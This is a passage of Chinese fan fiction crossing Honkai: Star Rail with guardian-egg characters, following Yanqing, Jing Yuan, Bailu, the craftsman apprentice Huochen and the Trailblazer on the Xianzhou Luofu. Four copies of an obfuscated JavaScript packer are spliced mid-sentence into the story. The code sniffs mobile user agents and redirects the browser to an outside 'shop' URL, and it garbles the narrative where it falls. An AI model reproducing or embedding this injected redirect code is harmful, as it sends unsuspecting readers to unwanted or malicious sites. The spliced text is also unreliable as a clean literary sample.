“将军不想跟彦卿说,可以不说的,”少年骁卫摇头,“彦卿在事件结束后也去查阅过,但什么都查不到。” 那次事件不比列车组的开拓者,他虽然因为忙各种事情,在卡芙卡那一遭前没见过开拓者,但也听说过不少事迹和威名。 而那几人,要么是无法言说的禁语,要么是史书在录的恶名,然后又似乎都有隐情。 “想来镜流也好、饮月君也好,以彦卿的职级,还不够资格接触这些人的资料。” “既然不够资格,那将军不告诉彦卿才是理所应当。” 将军看他许久,叹气,模仿他的语气: “那我也要说了……” “彦卿不高兴了,可以直接说的。” 彦卿抬头,眼神犹疑。 “你就说想不想听。” “……想。” 怎么会不想呢。 他又疑惑又着急又郁闷又自责又疑惑,因为不知事情全貌,甚至到现在都没法给自己那日的行动定性,只知道是做错了,因为自己确确实实阻挠了将军请来帮忙的救兵。 他早先便决定好寻机会向人家道歉,可那位丹恒先生很少离开列车,他最近又没什么完整的时间,连出门给人挑个赔罪礼物都困难…… “从哪里讲起呢……嗯,就从‘云上五骁’开始吧。” 彦卿正色。 白露:“哦,这个我也听说过,是七百年前的事了吧。” 彦卿后知后觉,低头看一眼趴床沿听故事的白露,又看一眼将军,发现将军没多大反应,困惑之余,也安下心继续听。 “彦卿,那日你和我一同在幽囚狱见到的那名通缉犯,是我的旧识,过去同为云上五骁的天才匠人应星,现在名为刃。” “我在你的示迹玉扣中看到,你在工造司遇到的那名白发剑士,是我的恩师镜流,过去同为云上五骁的罗浮前代剑首。” “而那日祈龙坛上显出龙相的,情况稍微复杂些,”说到这里,景元伸手摸摸白露的头,白露“嗯?”一下,他又收回手,“是前代罗浮龙尊饮月君的转世之身,如今已是列车团的无名客。” “当然,他的前世也是云上五骁之一。” 信息量很大,彦卿脑子飞速运转,转一半卡住:“只有四人,剩下一位是?” “是来自曜青的狐人飞行士白珩,擅长驾驶星槎,还会一手好射术,不过已在战争中故去多年了。” 将军声音淡淡,透着些许怀念。白露大人完全像在听故事,一边听一边拿点心吃。 唔。 狐人飞行士,驭空司舵过去就是飞行士吧,现在也时常凝视皮侯,只是不拉弓。 彦卿对照驭空司舵,在脑子里勾勒出一个模糊的狐人身影,再把她和自己见过的那几人还有将军放在一起,实在想不出来: 这样五个人,过去曾经并肩而立吗? 他隐约觉得白珩这名字耳熟,想了一下没想起来,索性问别的:“将军那日在幽囚狱初见到那位、旧识,就想好要同星核猎手合作了?” 将军没有否认:“他身上背着联盟的通缉令,我想不出他主动回到罗浮的理由;” “星核猎手又从来只收集星核,尽管无人知晓他们将星核用于何处,但他们遵从首领艾利欧的剧本,很少做多余的事。在罗浮投放星核,不符合他们的作风。” “既然不是为针对罗浮而来,他们的首领艾利欧又能看到终末的预言,那么,付出点信任交换我想要的信息,很划算不是吗?” 从七百年前的云上五骁之一,到现在的神策将军。 景元如今已很少这样细细与人分析情况,正如他做决定时很少向他人透露信息,因着这七百年来,少有人能与他并肩而立。符卿很好,能力和意愿都很好,只是直脾性还得稍微磨一磨。 活到现在,可供他虚心求教的机会也越来越少了。 而他的弟子,满怀着少年人最大的好奇心和主动性,什么都想知道,什么都乐意学。 这是好事,景元也乐意教。 “彦卿?” 彦卿在发呆,回神后迅速:“抱歉将军。” 彦卿很少在听他说话时分神。景元忍不住多看两眼。 是最近任务过重没休息好?言灵影响依然存在?还是他如今说话同符卿一样,也是叫少年人听来犯困的了? 他想到这里觉得好笑,还是直接问:“怎么了?” 他徒弟是个老实孩子,再怎么迟疑,只要他问了就会老实答,说话直白,稚嫩的嗓音里有些藏不住的愧疚: “彦卿只是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340404|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将军活了七百余岁,生平履历一片光亮,如今收了彦卿做弟子,彦卿却未能在大战中做出正确的选择,愧对将军教导。” 这话叫他怔住了,比他反应更快的是白露:“你说什么呢彦卿!” 龙女大人鼓起脸瞪大眼:“怎么可以说这种话!” “自在呢?把他叫出来我们好好说道说道。” 彦卿:“……白露大人,自在回到蛋里出不来了。” “什么?” 白露看起来不敢相信,围着彦卿转了两圈,彦卿敛眸弯腰,提防她跑太快摔跤预备伸手去扶,神情没什么变化,似是早已接受。 景元在一边看。守护甜心之事,他也清楚,虽然他看不见,但也明白这些小精灵从孩子内心诞生,会陪着孩子成长。 彦卿的小精灵受到影响了。 居然严重到这种程度,景元下意识反省,刚开始反省又停住:先解决彦卿的问题比较重要。 白露不理解,转两圈没找到,在他面前叉腰生气:“怎么会回到蛋里去的?” 彦卿沉默片刻,意图明显地转移话题:“彦卿心有猜测,尚未证实,不便与白露大人详说。” “要你一句话当真比登天还难,”白露甩尾巴像是威胁,扭头喊,“将军,你看彦卿——” 这是想要他来问了。 景元无奈点头,看向徒弟明显为难的神色: “没事,彦卿不想说,可以不说。” 彦卿松口气,白露依旧气鼓鼓。 “但是彦卿刚才的话不仅忽视了自己,还将自己比作他者人生中的污点,所以在乎你的人会为此生气难过,”他认真注视自己的徒弟,“比如我,比如龙女大人。” 白露义愤填膺:“没错!” 年少成名,就注定在评价中、在他人的视线中长大。自我评价也难免会受此影响,表现出倾向的不同。 彦卿自小跟在他身边,由他亲自教导,上了战场后又接连立下大功,诸般赞誉加身,与之相对的,便是对自我的严格要求。闲暇时,他还时常听见“彦卿啊彦卿,你怎么能……愧对将军教导”之类的反省。 其实彦卿并没有犯什么错,他也从来没有失望过,哪怕这次也一样。 万众瞩目的天之骄子、意气飞扬的云骑骁卫、久藏匣中的三尺秋水,想要做出点什么来回应他人的期待,哪里能算错呢? 也就是忽略了自己这一点算错。 而他出身地衡司世家,在家人的不赞同中参军入伍,又在一众前辈的不以为意中奇招频出,与之相对,年少时便总是一身“我就要这样”“你们最好听我的”的反骨。 或许他也该反着来一下? 对面,彦卿显然听进去了他的话,一双圆眼睛瞧过来,刚才的愧疚还没散完,又添了新的愧疚: “很抱歉,将军,彦卿以后不会那样说话了。” 哎呀。 他倒宁可彦卿像平日那样神气十足又理直气壮地要零花钱,又或者不听他说完话就直直往前冲,至少那时候敲打起来不心疼,不像现在。 还反着来什么,这怎么反着来? 景元揉揉额角,“嗯”了一声,斟酌片刻,最后叹气: “彦卿,改日有个押送任务,你替我跑一趟吧。” 他的徒弟接下任务,没有多问:“彦卿领命。” 最终还是没能按时把将军拖回丹鼎司。 三个人刚从房间里出来,符太卜就带着文书赶来了,将军扫了两眼,就再自然不过地往神策府正厅走,大概是要处理公务。 彦卿欲言又止,最后还是没说话。 将军昏迷期间,罗浮的公务都是符太卜和神策府的大家一起处理的,若不是非将军过目不可的要务,符太卜不会如此着急赶来。 他自然不好再像以前那样不满符太卜打扰将军休息,因为大家都很辛苦。 刚预备跟上去旁听,身后传来一道拉扯力,回头一看,是白露在拽他飘带:“你是不是忘记要跟我说什么了?” 彦卿没有想惹白露生气,刚才既不知道白露是在为哪一句生气,更不知道自己的话和守护甜心有什么关联,怎么一下就叫人发现了不对劲。 现在知道了,赶紧蹲下道歉:“很抱歉,白露大人。” 白露放开他的飘带,神情依旧严肃:“不用道歉,彦卿,这里没有人想听你说抱歉。” “而且,你是真的觉得自己错了、不该这样想,还是单纯想哄我们高兴,好叫我们都安心去忙自己的事呢?” 他从小就认识白露,守护甜心的知识也都从白露这里获知。 他知道白露因着前代遗留问题,被关着学医多年,心性单纯若孩童;但白露到底活了许多年,又做了许多年的持明族尊长,天空色的眼睛注视着他,通透非常,像是可以推演四季,看清一切: “守护甜心的概念里,最重要的就是注视自己,因为看到了自己,才会有所谓自己的愿望,才会有从愿望里诞生的守护甜心,这是一切的源头。” “你没有在看自己了,自在才会回到蛋里,除此之外没有别的理由。” 没有在看自己了…… 看自己…… “彦卿?彦卿?” 彦卿晕晕乎乎,虽然能听见白露的喊声,却像是又回到了太卜司的角落,言灵影响下,无数画面在脑子里打转,混乱不堪。 在那些画面里,他看到一双始终注视着他的眼睛,一双落泪的火焰瞳。 他认得的,那是火尘的眼睛。 他突然很想见火尘。 25.火尘的仙舟小记 又要下雨了。 火尘抬头望天,嗅嗅山林中的湿气,就背起筐往回赶。 他总是知道,什么时候下雨,什么时候天晴,哪个方向有野猪,哪座桥下有裂痕。 乡邻说他这是天生的,对环境敏感,在山里好活;在人群里就得迟钝一点,才能活得好些。 火尘无所谓,他只觉得这样很方便。 “娘。” “哎,回来了。” 妇人推门出来,还是老样子,脸上笼着一层薄雾。火尘知道这是因为他太久没见,不记得了。 现在他放下筐敞着门,回望山头的方向,等待火光从那里亮起,慢慢烧遍整个星球。 他太健忘了,到现在脑子里关于故乡的部分就这么点,所以老是做同样的梦。 “我听人说,那边又来了好些人抓人充军呢,连小孩都不放过,”他的母亲大概刚唠完嗑回来,神秘兮兮凑过来讲话,好像火尘也是她的好姐妹,抱住人时才想起这是自己的儿子,“还好你回来啦。” “嗯。”他回抱眼前轻纱似的雾气,就像依偎在母亲的怀里。 继续做梦,就该梦见冲天的火光了,许是这刺激太强烈,他不记得早先被抓走充军的父亲是何模样,不记得在火中失散的母亲是何模样,不记得故乡的建筑和山水,却偏偏记得火的光和热。 他清楚知道自己活了下来,但每梦到一次,都好像又死了一次。 这次居然没有梦到。 火尘醒了,坐在床上发呆,扫一眼时间,算算自己从神策府回来到现在,睡了三个小时。 有点短,也还好吧。 他伸个懒腰,落地,衣服不穿头发不扎,踢着拖鞋拖拖拉拉路过阳台,呆站着看对面灯牌闪啊闪,循环闪了两圈。 对面开了一家茶馆,对长生种来说,开店比起维持生计更像是娱乐活动,三天打渔两天晒网是常有的事。 “哟,醒啦。” 茶馆老板看到他,乐呵呵对他打招呼。 “我寻思你再不醒,我这灯是开还是不开啦!” 灯牌的暖色光少部分落在他阳台,其实不影响什么。火尘瞌睡醒了,直起身像模像样朝底下作揖,逗得低笑点的老板哈哈大笑。 “有空来我这儿坐坐!” 嗯嗯。火尘胡乱点头,转身往厨房走。 饿了。 他做菜水平很一般,但好在他自己不挑,能吃就行。随便糊弄完一顿后,又趴在阳台吹风发呆,底下人来人往。 仙舟罗浮是个神奇的地方。 底下有人喝茶也醉,大个子的成年人,站起来东倒西歪哇哇哭:“多情!自古!空余恨!” 小燃好奇瞅两眼,他扭头回屋。 一艘载了上千亿人口的大船,在宇宙间星星一样四处巡航。在这上面什么都不做,也不会饿死;一直混吃等死,也不会被扫地出门,只会得到“我们不提倡您继续这样”的劝告。 火尘有吃就吃,有喝就喝,没吃就饿着。 他闲时画画图,脑子里什么都不想,就像现在。 画金人、画彦卿、画金人……画画是在来仙舟后学的,和学仙舟文字同时。仙舟人讲究写意,画画神似即可,教他的老师说他有天赋。 他在陌生环境中依然保持着高度敏感,在搞清楚仙舟的人口混居情况之后,偶尔会想:我这样的年纪和生长周期,对他们来说算什么呢? 路边的蚂蚁?宠物? 【在人群聚集的地方要迟钝一点,才能活得好些。】 这句火尘也记得,他做不到迟钝,只好不去纠结这些,也不主动与人建立联系。自己抽离出来之后,观察别人身上的联系似乎就成了顺理成章的事。 亲人、师生、朋友、情侣,各式各样的联系发生在他身边,但又与他无关。 他心无波澜地旁观,直到某天看到盲人小女孩被骗到高处下不来,试探着伸出笤帚棍子一端,小女孩抓住了,顺着他的力道方向横着走螃蟹步,一点一点走下台阶,然后和他道谢。 “不客气。”他说。 他在仙舟金人巷的旧货店打工,在地衡司说了“不提倡混吃等死”之后。一个奇怪的老师傅时不时来喝茶,时不时寻他说话,他时不时应几句,时不时依言拼几个零件,稀里糊涂地就进了工造司。 “不用考试吗?” “可以先实习再考试,毕竟短生种时间宝贵。” 欸。 但他好像只是换了个地方混吃等死,工造司的长生种行动起来都风风火火,远比他有精神。 “师父,你为什么会想到收我做徒弟?”“火尘后来偶尔会困惑,“我连模拟测试都过不了。” 师父说原因有二:其一是仙舟鼓励各司部接纳外来人员,避免短期接收的灾民无所事事造成动荡;其二是被自己的几个徒弟气到,跑去朋友店里散心正碰上他,让他拼一个下午玩具机巧,就真的拼了一个下午,气一下就顺了。 “工造机巧,一定要耐得住寂寞。不可好高骛远~想着一步登天~迷失本心,那可就不好啦~” 他不知道自己耐不耐得住,但那时对他颇为照顾的两个大人一致认为工造司是更好的去处,他没什么想法,也就来了工造司。 公输师傅很高兴:“这是你我的缘分,哈哈。”仙舟人讲究缘分。 火尘后来知道,仙舟因为长生,承受着难以消化的人口压力,即便如此,还是在路过他们星球时一口气带走了剩下的所有人。 无私到这种程度,简直就像是…… 他停顿,笔在纸面上轻点。 从长长的回忆里脱身,视线落到纸上:除却一开始的金人,他还画了燕子、柳条、长命锁、宝剑、像是在流动的云彩,最后是一个锋利的侧影。 简直就像是彦卿。 善良、平和、执着、骁勇善战,彦卿符合他对仙舟的一切好的认知,是一个完完全全的仙舟人。 他托腮发呆,小燃飞到他面前晃晃身子,被他随手挥开,体重太轻空中转体四五圈。 “喂,你这个家伙……唔!” 抱怨声戛然而止,他扭头,看见小燃飘在阳台低头跟人说话。 走出来,探头往下看,正对上来人一双笑眼——是彦卿。 火尘缩回来。 小燃疑惑:“不下去吗?你刚才不是还在想他……” 守护甜心说话总让人臊得慌。他本来就没做好心理准备,这下更加做不好了,索性把心一横下楼开门。 彦卿站在门外,看上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按捺着心思完成任务后,跟府里说了一声就火急火燎往外冲; 到地方了才想起自己没备礼物,于是就近找了一家点心店,循着记忆挑了跟小鱼那天一个口味的点心来保证不出错; 出了店门一看时间居然是半夜,沮丧着要打道回府了,仰头就看见了小燃。 从头到尾都慌慌张张的,结果现在见了人还问不出话来。 火尘没扎头发,黑长炸看着有些乱,倒完水推给他一杯就坐下要吃点心,坐到头发了才想起来要扎,随便抓了两下左右看看又没找着发绳,索性放弃,把头发都撩到脑后,就当自己扎了。 彦卿心中感叹:大概是因为在自己家,火尘精神状态又松垮出新高度,而且还相当能感染人。他光是这么看着,就感觉有点困了。 但是犯困得等之后,他有别的事情要问。 “火尘。” 眼见着对面听话抬眼望来,彦卿一下有点紧张,但还是一鼓作气问: “白天,是我把你惹哭的?” 26.胡思乱想的日子里 彦卿偶尔收剑回头时,会对上火尘的视线。 他从小生活在众人的视线下,长久下来,对视线中的不同情感倾向也锻炼出了些分辨力。 期待、欢喜、嫉妒、恼怒。 火尘的视线和其他人的有点不一样,总是平静的,和他对上后会迅速挪开,像是不好意思。 可到了下回依旧会往这边看,橙红色的眼睛明亮如火焰,既温柔,又温暖,好像可以用所有正面情绪解释。 是担忧?火尘说过不希望他受伤; 是期待?火尘说过从来不会对他失望; 是欢喜?火尘说过喜欢看他用剑。 白露大人说,因为他没有注视自己,守护蛋才会闭拢。 而今他意识到,即使他没注视自己了,朋友却还注视着自己,能第一时间发现他的异常; 而他得了白露大人的指点,虽然依然不明白怎么样才算注视自己,却想起自己不够诚实,让一直注视着自己的朋友担惊受怕。 还把人家弄哭了。 火尘喝水呛到了,在他问出那句话之后。 咳了好几声也不见好,彦卿慌忙绕过去给人拍背,被火尘伸手制止,示意不要过来。 “咳、咳咳,你……” 你不是中了言灵吗! 火尘心蹦到嗓子眼,被一句话吓得魂不附体: “彦卿,白天的事,你记得多少?” “……没多少。” “看着我说。” 彦卿眼神闪躲:“没多少,真的,一点点而已。” 火尘微眯起眼,这会儿居然判断不出彦卿有没有撒谎,但这个人整张脸都长得很诚恳,他还是倾向于相信。 他坐下。 “所以你那天是为什么哭?” 他站起:“你这不是全部都记得吗!” 彦卿趴桌上,只有手摆出作揖的姿势:“火——尘——告诉我好不好?” “不好。” 开什么玩笑,回想丹鼎司那天,他浑身解数都使出来了,这人一个字都不肯透;现在想管他问话了,以为撒个娇就有用吗?门都没有! “火尘——火尘——” 火尘受不了他,伸手去捂嘴,把对面下半张脸都捂得严严实实。 世界安静了。 声音没了,但彦卿人还醒着,朝他眨巴眨巴眼。擅长表达的骁卫大人不拘泥于一种表达方式,调出面板开始打字: 【你不跟我说原因,我就只有先道歉了。】 啊? 【因为怎么看你都是被我惹哭的。】 不,这么说有点…… 【是因为我受伤你才哭的吗?火尘。】 【我非常高兴,感谢你的关心,感谢你来救我。】 【但我不希望你再哭了。】 火尘松手,挪回桌边:“那你就不要再受伤了。” 彦卿摇头:“这个没法保证。” “不过我可以保证处理完伤口再来找你。” 火尘“啧”一声:谁要你保证这个了。 算了。 “火尘?” 他又没有保护彦卿的能力,还偏要强求彦卿做出这些多余的保证,不是很奇怪吗? “我不是因为你才哭的。” “那是因为什么?” “反正不是因为你,”撒谎很麻烦,他找不出理由来,自己也想不明白当时为什么哭,索性上手揉了一通对面毛茸茸的脑袋,“少给自己揽点责吧,骁卫大人。” 彦卿头发被他揉乱了,看起来终于没有那么严肃,依然是半信半疑的样子,却不多问了,提起另一件事。 “这个,”彦卿摸索口袋,递过一块木牌,“神策府的通行证,将军让我给你的。” 火尘刚要推拒,想了想,兴许以后会用到,还是收起来。 “还有这个,”彦卿又翻出一个盒子,“其实是一早就准备送的,但是最近事情太多,拖了很久。” 他顺手接过,打开的瞬间就往回推。 可彦卿力气比他大推不回,说话的速度还比他脑子转的速度快很多:“是玉兆啦,我上次追蛋的时候把你的玉兆弄坏了,一直觉得很抱歉,你看看怎么样,不行我就再换一款。” 火尘有很多话,不好说,而且他现在脑子卡壳说不出来。 “礼物?”他指指玉兆,又指指桌上空了的点心盒,“那个呢?” “那是登门拜访的礼物,”彦卿解释,拿出手环样式的玉兆,“这是用来道歉的赔礼。”一边说,面上一边现出熟悉的理所当然——大战后他就没见彦卿这表情了,还有点欣慰。 彦卿拉过他的手,作势要往他手腕上扣,他开始挣扎: “不行,彦卿,你送这个就太贵重了,别人会觉得我是有利可图才跟你交朋友……” 彦卿停住,眼神认真,问他:“火尘很在意别人怎么想吗?” 火尘:…… 老实说他并不在意,真在意的话他在仙舟怕是待不舒坦。 来到仙舟后他依然没学会乡邻说的“迟钝一点”,但是学会了在周围制造盾牌隔绝噪音,无关人说什么都当没听见。 火尘头脑风暴: 不过现在要紧的是推回彦卿的礼物,真要说的话上次那把短剑也该还回去,那只是彦卿暂时借给他防身的而已,如果他真的收彦卿这么多礼物,那回礼也很麻烦,而且也不好找由头,彦卿生日送?送什么,怎么送,彦卿生日在几月…… “汀!” 他听得一声清脆的玉石相击声,回神低头,发现自己已经被扣上了。彦卿正在满意打量,还给他解说: “防水防火防撞击,离开罗浮也依然能使用一些基础功能……” 火尘无力:“我不要这个,我还不起你……” “不用还啊。而且我觉得这个颜色很像你的眼睛,很漂亮!” “谢谢,但我果然还是……” “其实我还打算送一个,作为感谢你搭救我的礼物,你有什么想要的吗火尘?” 别送了,大少爷,求求了,你是真不怕别人得寸进尺啊。 “哦对,里面有我的联系方式。” 火尘推拒的动作一顿。 彦卿借着这个停顿一下给他扣严实了,等他抬头时人已经跑到门口,弯起眼笑:“有事记得联系我呀,火尘。” 这人像一阵风,来了又走,房间一下变得静悄悄。 火尘呆着,小燃落到他手腕边,费老大力操作玉兆界面,然后抬头感叹:“真的有欸,彦卿的联系方式。” 火尘猛地站起,焦躁地在客厅里绕两圈,去阳台吹几分钟的冷风,又回来,坐下给自己倒水喝。 小燃纳闷:“你咋了?” 他的主人卡住了,好半晌才给他反应,吞吞吐吐:“你说,彦卿会不会已经知道我、我对他……就是,总之就是,他可能知道了。” 不然怎么会用玉兆里有联系方式来哄他收礼物? 就这么肯定他不会拒绝? “知道什么?”小燃听不懂一样。 “你不是知道吗?” “你都没说清楚我怎么知道?” “就是……” 他把心一横,刚要说,就对上一张和自己相似却明显在憋笑的脸。 火尘后知后觉自己被守护甜心笑话了,捞过小家伙一顿揉搓,边揉边嘀咕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小燃飞到阳台边,才发现火尘看的并不是彦卿,而是另一个白天见过的熟人——开拓者。 开拓者趴在地上,目光如炬,缓慢向前。 火尘在书上见过这姿势,叫“匍匐前进”。 …… 怎么会有人在商业街匍匐前进啊!路过的人都在低头看你呢,没感觉到吗开拓者! 他吐槽完,看见自己的守护甜心同款难言的表情,再次提议: “我们去跟踪他吧。” 直到现在,他依然不理解白天的场景,彦卿显然也不打算跟他说。 都问他为什么哭了,居然不跟他解释!生气! 不过转念一想,那是白天刚发生的事情,或许彦卿知道的不比他多,索性就算了。 火尘很清楚:判断一个人如何,关键不看他说了什么,要看他做了什么。 开拓者不爱说话,但到现在为止做的都是些理应受到赞赏的好事,唯独白天的事不好理解。 既然如此,在此人露出可疑行迹时跟上去探个究竟,不失为一种获知真相的方法。 他低头看看: 开拓者没有再匍匐前进了,但是变成蹲着躲在转角的大瓷瓶后面,似乎也是在跟踪谁。 “你上次跟踪的是丹枢。”小燃提醒他。 “不一样。” “哪里不一样?” “感觉不一样。”说不出原因,就是感觉不会有危险。 小燃和他对视一眼,片刻后咧嘴笑:“真巧,我也这么觉得。” 说干就干。火尘找了件方便跟踪的黑外套穿上,小燃背着自己的蛋壳钻进他口袋里。 “走。” “出、发!” 关门瞬间,隐书的声音在他脑子里响起: 【你和你的守护甜心以后说不定会很合拍哦。】 他低头瞅一眼口袋,小燃瞬间抬头,问他:“干嘛?” “没干嘛。” 唔,他心里嘀咕,也就一般合拍吧。 27.开拓者的朋友论 开拓者的跟踪路径很奇怪。 火尘没有任何跟踪自觉地大剌剌坐在路边看,好几次他眼见着开拓者跟得正顺利,结果被前面大叔回头一看,就像是被谁提溜到了起点,又重新开始。 对,开拓者在跟踪一个大叔。 途中还帮忙撕了长乐天墙边的小广告、修整故障停滞的机巧鸟、送快递、制止街边吵架。 时间管理大师? 做这么多事情怪不得会被发现。 在开拓者又一次要被发现时,火尘终于看不过眼,站起来挪到人跟前。他身量不够,挡不全,但多少能挡住一些,被跟踪的大叔扫他一眼,回头继续走。 开拓者爬起来拍拍灰,像正常人一样跟他道谢。 火尘看他这样,一下子觉得隐藏想法也没什么必要,直接问:“我们白天见过面,你记得吗,开拓者。” 开拓者同样直白,点头肯定:“我明天去跟彦卿解释。” 火尘咂舌:一下子就看出他在想什么了啊。 还有跟下去的必要吗。 火尘不知道,不知道的时候,他就只看自己想不想。 他想。 但又不想用开拓者同款跟法,显得很狼狈;而且都已经暴露了,索性光明正大跟。 开拓者重新蹲下,抬头看他一眼,露出恍然大悟的表情,然后顺手把他扒拉到自己跟前,拿他当了一路掩体。 很会物尽其用了。 火尘配合,不配合也没法,而且到现在他也很好奇开拓者跟踪大叔这么久是要干嘛,他观察了那个大叔一阵,觉得除了看起来很有钱倒也没有哪里特别。 开拓者蹲在他身后,掏出相机对着不远处的大叔“咔嚓咔嚓”就是两张,就“嗖”一下站起来:“好了,完事!” 这就完事了? 大叔站在离他们不远的地方,像是在等人。开拓者已经松快下来,活动活动筋骨,像是从“任务模式”里退出,切换成了“生活模式”。 从长乐天跟到金人巷,大晚上的闯进扎堆的路边摊,火尘没忍住给自己整点吃的,顺手递给开拓者一点。 开拓者道了谢叼着串,看见刚才的大叔身边多出一个女人,又迅速跑回刚才的机位“咔嚓咔嚓”。 看来还没完事,虽然不知道在忙什么,但开拓者似乎很有职业素养,暂时不准备结束。 他站累了,随便挑个店门口坐下,顺便等开拓者拍完回来。正吃着,就听见有人喊他:“火尘?” 他扭头,认出来: “你是那天的……锦书姑娘?” 姑娘点头应了,火尘不好乱瞥人家口袋,却惦记着那个和彦卿一样半途闭拢的蛋,犹豫一下开口问:“你的蛋重新孵出来了吗?” “没呢。” 好像一提起这个就忍不住叹气,锦书叹完气捧出自己的蛋:“都冷冷的了。” 火尘看看缀满宝石的蛋壳,看懂:“你还没有做出决定。” “对,可是真的好难,”锦书在他观察的间隙点完单,“可我就是都想,我既想把营收借出去应急,也想拿钱回家扬眉吐气。非要在这两件里放弃一件,嗯嗯嗯嗯……太难了!” “也可以不放弃,”火尘纳闷,“你就分成两半,一半借出去,一半带回家。” “我营收不够啊大哥。” “要多少才够呢?”他看锦书一下不吭声了,“其实你自己也没有数吧。” 多就是好,大就是美。原本可以拿出一百,但是只给出五十,就觉得自己给得少,其实已经很多了。 唉,富二代想法。 “我出来的时候,跟家里赌过咒。”锦书沉默半晌说。 “什么咒?”如果是不赚到多少多少就不回去,那多少还有点数据参考…… “我说……”锦书深吸一口气,张口,说话掷地有声,又像是单纯想要靠大声盖过羞耻,“‘三十年河东!三十年河西!莫欺少年穷!’” “所以,最好是要更多更多更——多的钱,全部换成巡镝,一人一大袋砸死他们!” 火尘想象一下那个画面,觉得还挺壮观,表示尊重理解但不支持: “巡镝尖端还是很锋利的,一大袋也很重。”闹出人命就不好了。 锦书板着脸:“我不要跟你说话了。” 咋了。 在沉默中,开拓者回来了,坐下,然后顺手,把相机递给了锦书。 ? 他疑惑:“你们认识?” 开拓者点头。 锦书一边接过相机,一边掏出一小口袋亮晶晶的石头递过去——火尘记得是叫星琼:“我拜托开拓者帮忙拍两张我父母的照片,慰藉一下我的思乡之情。” 哦,所以开拓者跟踪的是你父母。 “有效果吗?” 火尘看锦书在看到照片的瞬间呆住了,问完这句,果然得到否定回复: “不行,更想家了。” 锦书往后仰倒,又坐正看看自己的蛋,没有变化。 火尘不意外:能让心灵之蛋闭拢的大决定,怎么可能靠两张治标不治本的照片糊弄过去呢。 他看着锦书,又想起彦卿的蛋至今没有复原,人却已经表现出一副“完全没问题”的样子。 开拓者递完照片就坐在一边安安静静吃东西,两人沉默时他还抬眼看看,看没什么事又继续吃。 火尘突然开口:“开拓者。” 对面抬头。 “你明天要去找彦卿吧?” 对面点头。 “能不能顺便帮我问个事?” 开拓者嘴里塞满食物,一边向他摊手,动作跟上回在工造司一样,他认得,是在要报酬。 可他上回把石头都给出去了。 火尘认命叹气:“算了。” 开拓者收回手。 锦书点的菜上了,顺口就聊起来:“那到底是什么石头?价值很高吗?” “是‘星琼’。” 开拓者只回了个名儿,没说价值如何。 火尘想起自己刚捡到这石头时还拿去工造司找人鉴定,却连成分都分析不出来,用作建材的话,量太少,出现得又太随机了些。 所以目前来看,星琼最大的价值就是付给开拓者当任务报酬,雇佣开拓者帮忙做事。 两人继续聊,火尘安静听。 锦书好奇:“星穹列车会途经很多世界吗?” “嗯,不过我是新加入的,还只到过两个世界。”开拓者似乎不爱说话,开口时声调是平的,面无表情比个“二”,像在比剪刀手。 不知道是因为商人世家出身,还是别的什么,锦书看起来对星穹列车很感兴趣,问个不停:“都是什么样的世界呢?” “黑塔,还有贝洛伯格。” “肯定有振奋人心的大冒险吧!” “嗯,有很多怪。” “你们还会在罗浮停留多久?” “待到慰灵奠仪结束。” “下一站决定好了?” “还没有,”开拓者想想,“到时候会开航线会议,投票选。” 锦书捧脸,似乎陷入了遐想:“真好,可以去那么多地方。” 开拓者点头,端起茶杯喝水。金人巷的仿古灯光是橙黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355442|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,照在人身上暖暖的,照在开拓者身上,却好像是星穹列车途经宇宙间某颗星星的光。 火尘安静听了许久,突然问: “一直往前,遇到危险怎么办?” 开拓者言简意赅:“打。” “打不过呢?” “我的朋友会来帮我。” “那如果没有朋友?” 开拓者摇头:“不会没有。” “列车组的朋友,还有在当地新交的朋友,很多人,”开拓者不常说话,开口时声音也很冷淡,但是现在他说,“你们也是我的朋友。” 火尘才注意到开拓者和彦卿都是金瞳,但开拓者的金要更冷淡、更漠然、更尖锐,甚至还有几分隐而不显的骇人威势,被这双眼睛盯着,不管对谁来说,压力应当都不小。 他扭头,不再发问。 锦书却很高兴:“好啊,我们是朋……” 话没说完,她看到什么一下子慌乱起来:“我爸妈来了,我去店里躲躲!”丢下这么一句,就端起碗跑了。 火尘瞧着那对夫妇在人群中走来,低头吃饭,一边听: “我明明看见……” “许是看错了……” 狐人女子挽着丈夫的手臂停在他们桌边,因为衣着华贵,站在路边摊堆里有些格格不入。 她低头凝视桌面。 火尘眼观鼻鼻观心,那里有锦书刚点了还没吃两口的菜,虽说放在他们三个人这一桌菜里也不算太显眼。 但母亲总是很神奇的。火尘对自己母亲的印象已经浅了,却还记得她是个很厉害的人。 开拓者神色如常继续吃,甚至把嘴里的咽下去之后扭头问桌边,再自然不过:“什么事?” 狐人夫妇意识到自己停了许久,露出笑容回话:“久仰列车组大名,如今见了英雄本人,就想过来打个招呼。” 